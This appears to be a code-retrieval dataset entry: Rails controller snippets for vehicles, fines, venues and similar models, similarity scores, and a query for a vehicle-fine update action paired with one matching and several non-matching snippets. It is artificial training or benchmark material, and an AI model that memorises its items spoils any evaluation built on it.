"def create\n @sinh_vien = SinhVien.new(params[:sinh_vien])\n\n respond_to do |format|\n if @sinh_vien.save \n format.json { render json: @sinh_vien, status: :created, location: @sinh_vien }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vehicle_params\n params.require(:vehicle).permit(:code, :name, :historic, :speed, :user_id)\n end",
"def create_ride_info \n @color = params[:car_color] \n @model = params[:car_model] \n @number = params[:car_number] \n @seats = params[:seats] \n @smoking = params[:smoking] \n @air_conditioner = params[:air_conditioner]\n @trunk = params[:trunk] \n @name = params[:name] \n @girls = params[:girls]\n @gentlemen = params[:gentlemen] \n @@request.car_color = @color \n @@request.car_model= @model \n @@request.car_number= @number \n @@request.seats= @seats \n @@request.smoking= @smoking \n @@request.air_conditioner= @air_conditioner\n @@request.trunk= @trunk \n @@request.name= @name \n @@request.girls_only = @girls\n @@request.gentlemen_only = @gentlemen \n @@request.save \n @@checkpoint.each do |x| \n c = Checkpoint.new \n c.place_id = x.id \n c.request_id = @@request.id \n c.save \n end \n redirect_to root_path \n end",
"def create\n @contract = Contract.new(params[:contract])\n @units = Unit.unsold(params[:tower_id])\n \n respond_to do |format|\n if @contract.save\n format.html { redirect_to tower_contracts_path(@tower), notice: 'Contract was successfully created.' }\n format.json { render json: @contract, status: :created, location: @contract }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle = Vehicle.new(allowed_params)\n if @vehicle.save\n flash[:notice] = \"New Vehicle Created\"\n redirect_to @vehicle\n else\n flash[:error] = @vehicle.errors.full_messages.to_sentence\n redirect_to Vehicle.find_by_vin @vehicle.vin\n end\n end",
"def create \n @fuel_load = current_user.fuel_loads.build(params[:fuel_load]) \n @tractors = current_user.tractors.all\n @tractor_drivers = current_user.tractor_drivers.all\n \n correct_fuel(params[:fuel_load][:tractor_code], params[:fuel_load][:amount])\n \n respond_to do |format| \n if @fuel_load.save \n format.html { redirect_to fuel_loads_path, notice: 'Fuel load was successfully created.' } \n else \n format.html { render action: \"new\" } \n #format.json { render json: @fuel_load.errors, status: :unprocessable_entity } \n end \n end \n end",
"def create\n @vegetal = Vegetal.new(vegetal_params)\n\n respond_to do |format|\n if @vegetal.save\n format.html { redirect_to @vegetal, notice: 'Vegetal was successfully created.' }\n format.json { render :show, status: :created, location: @vegetal }\n else\n format.html { render :new }\n format.json { render json: @vegetal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @bet = Bet.new(:odd_inflation => 10, :bid_amount => 1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bet }\n end\n end",
"def bride_params\n params.require(:bride).permit(:name, :email, :birth_date, :sex, :country, :district, :sector, :cells, :phone_number)\n end",
"def create\n @event = Event.new(event_params)\n \n if Venue.find_by(name: params[:venue]) == nil\n @venue = Venue.create(name: params[:venue])\n else\n @venue = Venue.find_by(name: params[:venue])\n end\n \n @bands = []\n \n respond_to do |format|\n if @event.save\n event_date_time = event_params[:start] + ' CST'\n @event.update(start: DateTime.strptime(event_date_time, '%m/%d/%Y %l:%M %p %Z'))\n @venue.events << @event\n \n if params[\"supporting_acts\"] != nil\n supporting_acts = params[\"supporting_acts\"]\n supporting_acts.each do |index, name|\n name = name.strip\n unless name == \"\"\n if Band.find_by(name: name) == nil\n @event.bands << Band.create(name: name)\n supporting_acts = @event.supporting_acts.push(Band.find_by(name: name).id)\n @event.update(supporting_acts: supporting_acts)\n else\n @band = Band.find_by(name: name)\n band_in_lineup = false\n @event.bands.each do |band|\n if band.id == @band.id\n band_in_lineup = true\n break\n end\n end\n if band_in_lineup == false\n @event.bands << Band.find_by(name: name)\n supporting_acts = @event.supporting_acts.push(Band.find_by(name: name).id)\n @event.update(supporting_acts: supporting_acts)\n else\n supporting_acts = @event.supporting_acts.push(Band.find_by(name: name).id)\n @event.update(supporting_acts: supporting_acts)\n end\n end\n end\n end\n end\n \n if params[\"headliners\"] != nil\n headliners = params[\"headliners\"]\n headliners.each do |index, name|\n name = name.strip\n unless name == \"\"\n if Band.find_by(name: name) == nil\n @event.bands << Band.create(name: name)\n headliners = @event.headliners.push(Band.find_by(name: name).id)\n @event.update(headliners: headliners)\n else\n @band = Band.find_by(name: name)\n band_in_lineup = false\n @event.bands.each do |band|\n if band.id == @band.id\n band_in_lineup = true\n break\n end\n end\n if band_in_lineup == false\n @event.bands << Band.find_by(name: name)\n headliners = @event.headliners.push(Band.find_by(name: name).id)\n @event.update(headliners: headliners)\n else\n headliners = @event.headliners.push(Band.find_by(name: name).id)\n @event.update(headliners: headliners)\n end\n end\n end\n end\n end\n \n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle = Vehicle.new()\n\n \n # Populate the basic information from the form\n @vehicle.make = params[:vehicle][:make]\n @vehicle.model = params[:vehicle][:model]\n @vehicle.miles = params[:vehicle][:miles]\n @vehicle.colour = params[:vehicle][:colour]\n @vehicle.image = params[:vehicle][:image]\n @vehicle.owners = params[:vehicle][:owners]\n @vehicle.reg = params[:vehicle][:reg]\n @vehicle.price = params[:vehicle][:price]\n @vehicle.description = params[:vehicle][:description]\n \n myCar = BasicModelCar.new(@vehicle.make, @vehicle.model, @vehicle.miles, @vehicle.colour, @vehicle.image, @vehicle.owners, @vehicle.reg, @vehicle.price, @vehicle.description)\n crashLogger = CrashLogger.instance\n # Add some additional features to our new car\n # the statements could be written inline: params[:newcar][:fireExt].to_s.length > 0 ? myCar = FireExtinguisher.new(myCar) : null\n if params[:vehicle][:NCT].to_s.length > 0 then\n myCar = NCT.new(myCar)\n end\n if params[:vehicle][:Taxed].to_s.length > 0 then\n myCar = Taxed.new(myCar)\n end\n if params[:vehicle][:ExtendedWarranty].to_s.length > 0 then\n myCar = ExtendedWarranty.new(myCar)\n end\n if params[:vehicle][:Crashed].to_s.length > 0 then\n crashLogger.logCrash(@vehicle.reg.to_s)\n end\n \n ##Populate the cost and description information\n @vehicle.price = myCar.getPrice\n @vehicle.description = myCar.getDescription\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n format.json { render json: @vehicle, status: :created, location: @vehicle }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n fees = fees(params[:call][:origin], params[:call][:destiny])\n puts fees\n puts fees\n puts fees\n valuewithplan = valuewithplan(fees, params[:call][:minuts].to_i, params[:call][:plan_id].to_i)\n valuewithoutplan = valuewithoutplan(fees, params[:call][:minuts].to_i)\n\n @call = Call.new(\n origin: params[:call][:origin],\n destiny: params[:call][:destiny],\n minuts: params[:call][:minuts],\n valuewithplan: valuewithplan,\n valuewithoutplan: valuewithoutplan,\n plan_id: params[:call][:plan_id]\n\n )\n\n respond_to do |format|\n if @call.save\n format.html { redirect_to @call, notice: \"Call was successfully created.\" }\n format.json { render :show, status: :created, location: @call }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle_fine_type = VehicleFineType.new(vehicle_fine_type_params)\n\n respond_to do |format|\n if @vehicle_fine_type.save\n flash.now[:notice] = 'Vehicle category was successfully created.'\n format.html { redirect_to @vehicle_fine_type, notice: 'Vehicle fine type was successfully created.' }\n format.js\n\t\tformat.json { render action: 'show', status: :created, location: @vehicle_fine_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @vehicle_fine_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vehicle_params\n params.require(:vehicle).permit(:api_id, :api_vehicle_company_id, :number, :status, :ifta, :vin, :make, :model, :year, :license_plate_state, :license_plate_number, :metric_units, :fuel_type, :prevent_auto_odometer_entry, :edl_device_id, :edl_identifier, :edl_model, :api_driver_id, :driver_first_name, :driver_last_name, :driver_username, :driver_email, :driver_internal_id, :driver_status, :driver_role)\n end",
"def create\n @sub_vehicle = SubVehicle.new(params[:sub_vehicle])\n\n respond_to do |format|\n if @sub_vehicle.save\n format.html { redirect_to(@sub_vehicle, :notice => 'Sub vehicle was successfully created.') }\n format.xml { render :xml => @sub_vehicle, :status => :created, :location => @sub_vehicle }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sub_vehicle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def ssveh_params\n params.require(:ssveh).permit(\n :ssvehrent, :ssvehcount, :ssvehfuel, :ssvehins, :ssvehcomment, :election_year_id, :county, :current_step\n )\n end",
"def new\n @bus_route = BusRoute.new\n @break_points=BreakPoint.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bus_route }\n end\n end",
"def neighbourhood_params\n params.require(:neighbourhood).permit(:name, :num_businesses, :home_price, :num_child_care)\n end",
"def index\n @fines = Fine.all\n end",
"def create\n @hall = Hall.new(hall_params)\n @hall.venue_id = params['venue_id']\n\n if @hall.save\n render :show, status: :ok\n else\n render json: @venue.errors, status: :unprocessable_entity\n end\n end",
"def vehicle_params\n params.require(:vehicle).permit(:vehicle_make, :vehicle_number, :user_id, :start_point_attributes => [:name, :address, :vehicle_id, :latitude, :longitude, :gmaps],\n :end_point_attributes => [:name, :address, :latitude, :longitude, :vehicle_data_id], :vehicle_data_attributes => [:registration_data, :purchase_date_and_year, :owner_name, :owner_address, :vehicle_detail, :vehicle_id, :vehicle_document_photos_attributes => [:name, :photo, :vehicle_data_id]])\n end",
"def create\n @vehicle = current_user.vehicles.new(vehicle_params)\n\n respond_to do |format|\n binding.pry\n if @vehicle.save\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fuel_balance = FuelBalance.new(fuel_balance_params)\n\n respond_to do |format|\n if @fuel_balance.save\n format.html { redirect_to @fuel_balance, notice: (t 'fuel_balances.title')+(t 'actions.created') }\n format.json { render action: 'show', status: :created, location: @fuel_balance }\n else\n format.html { render action: 'new' }\n format.json { render json: @fuel_balance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @budget = Budget.new(budget_params)\n @client = Client.new\n @clients = Client.all\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'El presupuesto se creó correctamente' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def fuel_balance_params\n params.require(:fuel_balance).permit(:depot_fuel_id, :fuel_tank_id, :current, :unit_type_id)\n end",
"def create\n params[:fee][:amount].gsub!(/[$,]/, '')\n params[:fee][:amount] = (params[:fee][:amount].to_f * 100).to_i\n\n @fee = Fee.new(fee_params)\n @fee.booth = Booth.find(params[:booth_id])\n\n respond_to do |format|\n if @fee.save\n format.html { redirect_to @fee.booth, notice: 'Fee was successfully created.' }\n format.json { render :show, status: :created, location: @fee }\n else\n format.html { render :new }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@vehicle = Vehicle.new(vehicle_params)\n\n\t\trespond_to do |format|\n\t\t\tif @vehicle.save\n\t\t\t\tcreate_audit __method__, 'vehicle', @vehicle.id\n\t\t\t\tformat.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @vehicle }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @vehicle.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n #@item_venda = ItemVenda.new(item_venda_params)\n @venda = Venda.order(\"created_at\").last\n @item_venda = @venda.item_vendas.create(item_venda_params)\n @venda.valor_total += @item_venda.produto.preco_venda * @item_venda.quantidade\n @item_venda.venda_id = @venda.id\n @venda.save\n respond_to do |format|\n if @item_venda.save\n format.html {redirect_to new_item_venda_path}\n #format.html { redirect_to @item_venda, notice: 'Item venda was successfully created.' }\n format.json { render :show, status: :created, location: @item_venda }\n else\n format.html { render :new }\n format.json { render json: @item_venda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n add_breadcrumb \"add\", nil, \"glyphicon-plus-sign\"\n\n @vehicle = Vehicle.new\n @years = VehicleYear.all\n @makes = []\n @models = []\n @trims = []\n @types = []\n @doors = []\n @sizes = []\n\n @select_years = VehicleYear.all\n @select_makes = VehicleMake.all\n @select_models = VehicleModel.all\n @select_trims = VehicleTrim.all\n @select_types = VehicleType.all\n @select_doors = VehicleDoor.all\n @select_sizes = VehicleSize.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def create\n @vibe = Vibe.new(vibe_params)\n\n respond_to do |format|\n if @vibe.save\n format.html { redirect_to @vibe, notice: 'Vibe was successfully created.' }\n format.json { render action: 'show', status: :created, location: @vibe }\n else\n format.html { render action: 'new' }\n format.json { render json: @vibe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n @dispense = Dispense.new(dispense_params)\n\n respond_to do |format|\n if @dispense.save\n format.html { redirect_to @dispense, notice: 'Dispense was successfully created.' }\n format.json { render :show, status: :created, location: @dispense }\n else\n format.html { render :new }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vehicle_params\n params.require(:vehicle).permit(:name, :number, :category, :member_id)\n end",
"def create\n @vehicle = @fleet.vehicles.create(params[:vehicle])\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to( [@vehicle.fleet, @vehicle], :notice => 'Vehicle was successfully created.') }\n format.xml { render :xml => @vehicle, :status => :created, :location => @vehicle }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vehicle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @finance_inflow = FinanceInflow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finance_inflow }\n end\n end",
"def venue_params\n params.require(:venue).permit(:name, :street, :zipcode, :photo, :neighbourhood, :bio,\n :phone, :address_2, :contact_number)\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n new_stock = StockQuote::Stock.quote(@vehicle.ticker)\n @vehicle.name = new_stock.name\n @vehicle.last_price= new_stock.last_trade_price_only\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle_boat_part = VehicleBoatPart.new(vehicle_boat_part_params)\n\n respond_to do |format|\n if @vehicle_boat_part.save\n format.html { redirect_to @vehicle_boat_part, notice: 'Vehicle boat part was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_boat_part }\n else\n format.html { render :new }\n format.json { render json: @vehicle_boat_part.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @rates= Rate.all\n @vehicle=Vehicle.new \n end",
"def new\n #@getinvoicedatum = Getinvoicedatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @getinvoicedatum }\n end\n end",
"def create\n @vehicle_end_of_life = VehicleEndOfLife.new(vehicle_end_of_life_params)\n\n respond_to do |format|\n if @vehicle_end_of_life.save\n format.html { redirect_to vehicles_path, notice: (t 'vehicle_end_of_lives.title2')+(t 'actions.created') }\n format.json { render action: 'show', status: :created, location: @vehicle_end_of_life }\n else\n format.html { render action: 'new' }\n format.json { render json: @vehicle_end_of_life.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @vehicle_fine.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_fines_url, notice: 'Vehicle fine was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n authorize @trip\n @trip.submitter = current_account.accountable\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to home_index_path, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @outside = Outside.new(outside_params)\n\n respond_to do |format|\n if @outside.save\n format.html { redirect_to @outside, notice: 'Outside was successfully created.' }\n format.json { render :show, status: :created, location: @outside }\n else\n format.html { render :new }\n format.json { render json: @outside.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n v = Vague.new()\n v.rentree = \"1-32018\"# params([:vague][:rentree])\n v.etablissement = Etablissement.find(params[:vague][:etablissement_id])\n redirect_to vagues_path\n end",
"def create\n\tif(params[:numero][:item].length <= 0)\n\t\tproblema = 'É necessário definir uma quantidade para a compra.'\n\t\tredirect_to vende_new_path, notice: problema\n\t\treturn\n\tend\n\t@vende = Vende.new(vende_params)\n\t@vende.fornecedor = @fornecedores[params[:selecao][:fornecedor].to_i]\n\t@vende.item = @item[params[:selecao][:item].to_i]\n\t\n\trespond_to do |format|\n\t if @vende.save\n @vende.item.quantidade += params[:numero][:item].to_i\n\t\t@vende.item.save\n\t\tformat.html { redirect_to item_index_path, notice: 'A compra foi registrada com sucesso.' }\n format.json { render :show, status: :created, location: @vende }\n else\n format.html { render :new }\n format.json { render json: @vende.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vehicle_params\n params.require(:vehicle).permit(:plate, :brand, :model, :string, :doors, :kind, :user_id, :actual_vehicle)\n end",
"def create\n @paper_venue = PaperVenue.new(params[:paper_venue])\n\n respond_to do |format|\n if @paper_venue.save\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully created.' }\n format.json { render :json => @paper_venue, :status => :created, :location => @paper_venue }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vet = Vet.new(params[:vet])\n\n respond_to do |format|\n if @vet.save\n format.html { redirect_to @vet, notice: 'Vet was successfully created.' }\n format.json { render json: @vet, status: :created, location: @vet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle_info = VehicleInfo.new(vehicle_info_params)\n\n respond_to do |format|\n if @vehicle_info.save\n format.html { redirect_to @vehicle_info, notice: 'Vehicle info was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_info }\n else\n format.html { render :new }\n format.json { render json: @vehicle_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @itinerary = current_user.itineraries.build\n # search term provided from the \"multipart\" form\n @search_term_provided = params[:search_term]\n foursquare_connect\n \n unless @search_term_provided.nil? # skip this if there is no search term \n # hardcoded search for Syracuse University\n response = @client.venues.search(:ll => '43.0481221,-76.147424399', :query => @search_term_provided)\n # get all of the places returned from the search\n @venues = response.places\n end\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @itinerary }\n end\n end",
"def create\n @vehicle_submodel = VehicleSubmodel.new(vehicle_submodel_params)\n\n respond_to do |format|\n if @vehicle_submodel.save\n format.html { redirect_to @vehicle_submodel, notice: 'Vehicle submodel was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_submodel }\n else\n format.html { render :new }\n format.json { render json: @vehicle_submodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vehicle_params\n params.require(:vehicle).permit(:vehicle_model_id, :year, :odometer,\n :license_plate, :engine_number, :drive,\n :chasis_number, :transmission, :engine_type,\n :passenger_capacity, :air_conditioning,\n :airbags_quantity, :door_quantity,\n :steering, :body_type, :comment, :status,\n images: [])\n end",
"def vehicle_end_of_life_params\n params.require(:vehicle_end_of_life).permit(:confirmation_code, :confirmed_on, :data, :issued_at, :status, :vehicle_id)\n end",
"def create\n @fine_collection = FineCollection.new(fine_collection_params)\n\n respond_to do |format|\n if @fine_collection.save\n format.html { redirect_to @fine_collection, notice: 'Fine collection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @fine_collection }\n else\n format.html { render action: 'new' }\n format.json { render json: @fine_collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n u=[session[:customer_id],DateTime.now]\n ud=u.join(\"/\")\n @m=Shop.near(business_params[:address],50,:order=>:distance)\n for n in @m do\n @business = Business.new(business_params)\n @business.status=\"pending\"\n @business.customer_id=session[:customer_id]\n @business.shop_id=n.id\n @business.unique_id=ud\n #respond_to do |format|\n if @business.save\n #redirect_to '/upload'\n #format.html { redirect_to @business, notice: 'Business was successfully created.' }\n #format.json { render :show, status: :created, location: @business }\n else\n #format.html { render :new }\n #format.json { render json: @business.errors, status: :unprocessable_entity }\n end\n end\n redirect_to businesses_url\n end",
"def venue_params\n params.require(:venue).permit(:name, :street, :zip, :city)\n end",
"def create\n @businesstype = Businesstype.new(businesstype_params)\n\n respond_to do |format|\n if @businesstype.save\n format.html { redirect_to @businesstype, notice: 'Businesstype was successfully created.' }\n format.json { render :show, status: :created, location: @businesstype }\n else\n format.html { render :new }\n format.json { render json: @businesstype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(params = {})\n wrapped_params = { insurance: params }\n @client.make_request(:post, 'insurances', MODEL_CLASS, wrapped_params)\n end"
] |
[
"0.66059697",
"0.63605464",
"0.6159991",
"0.5707541",
"0.5568644",
"0.5464221",
"0.54442924",
"0.5434772",
"0.5395799",
"0.5382774",
"0.5341945",
"0.53278255",
"0.53195584",
"0.5309192",
"0.5276832",
"0.52435696",
"0.52389073",
"0.52357733",
"0.52343714",
"0.52343714",
"0.52343714",
"0.5226748",
"0.5193605",
"0.5166556",
"0.51431733",
"0.51274794",
"0.5125144",
"0.51225996",
"0.511389",
"0.50962996",
"0.5079285",
"0.5078578",
"0.5069026",
"0.5059088",
"0.50425017",
"0.50383276",
"0.5038282",
"0.5036189",
"0.5033616",
"0.50232774",
"0.50212044",
"0.50101155",
"0.50098115",
"0.50033",
"0.49998295",
"0.49987248",
"0.49970612",
"0.499608",
"0.49917087",
"0.49894786",
"0.49867463",
"0.49856496",
"0.49772054",
"0.49676546",
"0.49651343",
"0.49647325",
"0.49600783",
"0.49594584",
"0.49579787",
"0.49538168",
"0.49481004",
"0.4945916",
"0.4937384",
"0.49352008",
"0.4932575",
"0.4926923",
"0.4926436",
"0.49229825",
"0.49229163",
"0.49211732",
"0.4917017",
"0.4915129",
"0.49145484",
"0.49135688",
"0.4912697",
"0.4911764",
"0.4909195",
"0.4904241",
"0.4903878",
"0.48989987",
"0.48981848",
"0.4893867",
"0.48866257",
"0.48854506",
"0.48768234",
"0.4870766",
"0.4869309",
"0.4860957",
"0.48557174",
"0.48474422",
"0.48462176",
"0.48446408",
"0.48433933",
"0.4840642",
"0.48390114",
"0.48389784",
"0.48360494",
"0.48330766",
"0.48313913",
"0.48302492"
] |
0.6491171
|
1
|
PATCH/PUT /vehicle_fines/1 PATCH/PUT /vehicle_fines/1.json
|
def update
respond_to do |format|
if @vehicle_fine.update(vehicle_fine_params)
format.html { redirect_to @vehicle_fine, notice: 'Vehicle fine was successfully updated.' }
format.json { render :show, status: :ok, location: @vehicle_fine }
else
format.html { render :edit }
format.json { render json: @vehicle_fine.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n put_request\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @vehicle.update(vehicle_params)\n render json: { status: 'Vehicle was successfully updated', vehicle: @vehicle }, status: :ok\n else\n render json: { errors: @vehicle.errors.full_messages }, status: :bad_request\n end\n end",
"def update\n @vehicle_fine_types = VehicleFineType.all\n @vehicle_fine_type = VehicleFineType.find(params[:id])\n respond_to do |format|\n if @vehicle_fine_type.update(vehicle_fine_type_params)\n format.html { redirect_to @vehicle_fine_type, notice: 'Vehicle fine type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_fine_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if vehicle_params[:actual_vehicle] === \"true\"\n @vehicles = Vehicle.where(user_id: vehicle_params[:user_id])\n\n if !@vehicles.nil?\n @vehicles.each do |v|\n v.update(actual_vehicle: \"false\")\n end\n end\n end\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to vehicles_url, notice: 'Los datos del vehículo fueron modificados' }\n format.json { render :index, status: :ok, location: @vehicle, notice: 'Los datos del vehículo fueron modificados'}\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehcile }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n if @vehicle.update_attributes(params[:vehicle])\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n if @vehicle.update_attributes(params[:vehicle])\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @vehicle.update(vehicle_params)\n\t\t\t\tcreate_audit __method__, 'vehicle', @vehicle.id\n\t\t\t\tformat.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @vehicle.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'El vehículo ha sido actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @vehicle }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if (params[:commit] == 'Cancel')\n @vehicle.reload\n flash[:info] = \"Editing of #{@vehicle.name} was cancelled.\"\n format.html { redirect_to(user_vehicle_path(@current_user, @vehicle)) }\n format.xml { head :ok }\n elsif @vehicle.update_attributes(params[:vehicle])\n first_fill_up = @vehicle.fill_ups.sort{ |a,b| a.odometer <=> b.odometer}[0] unless @vehicle.fill_ups.size == 0\n first_fill_up.save unless first_fill_up.nil?\n flash[:success] = \"#{@vehicle.name} was successfully updated.\"\n format.html { redirect_to(user_vehicle_path(@current_user, @vehicle)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vehicle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_boat_part.update(vehicle_boat_part_params)\n format.html { redirect_to @vehicle_boat_part, notice: 'Vehicle boat part was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_boat_part }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_boat_part.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle = Vehicle.find(params[:id])\n respond_to do |format|\n if @vehicle.update_attributes(params[:vehicle])\n format.html { redirect_to([@vehicle.fleet,@vehicle], :notice => 'Vehicle was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vehicle.errors, :status => :unprocessable_entity }\n end\n end\n end",
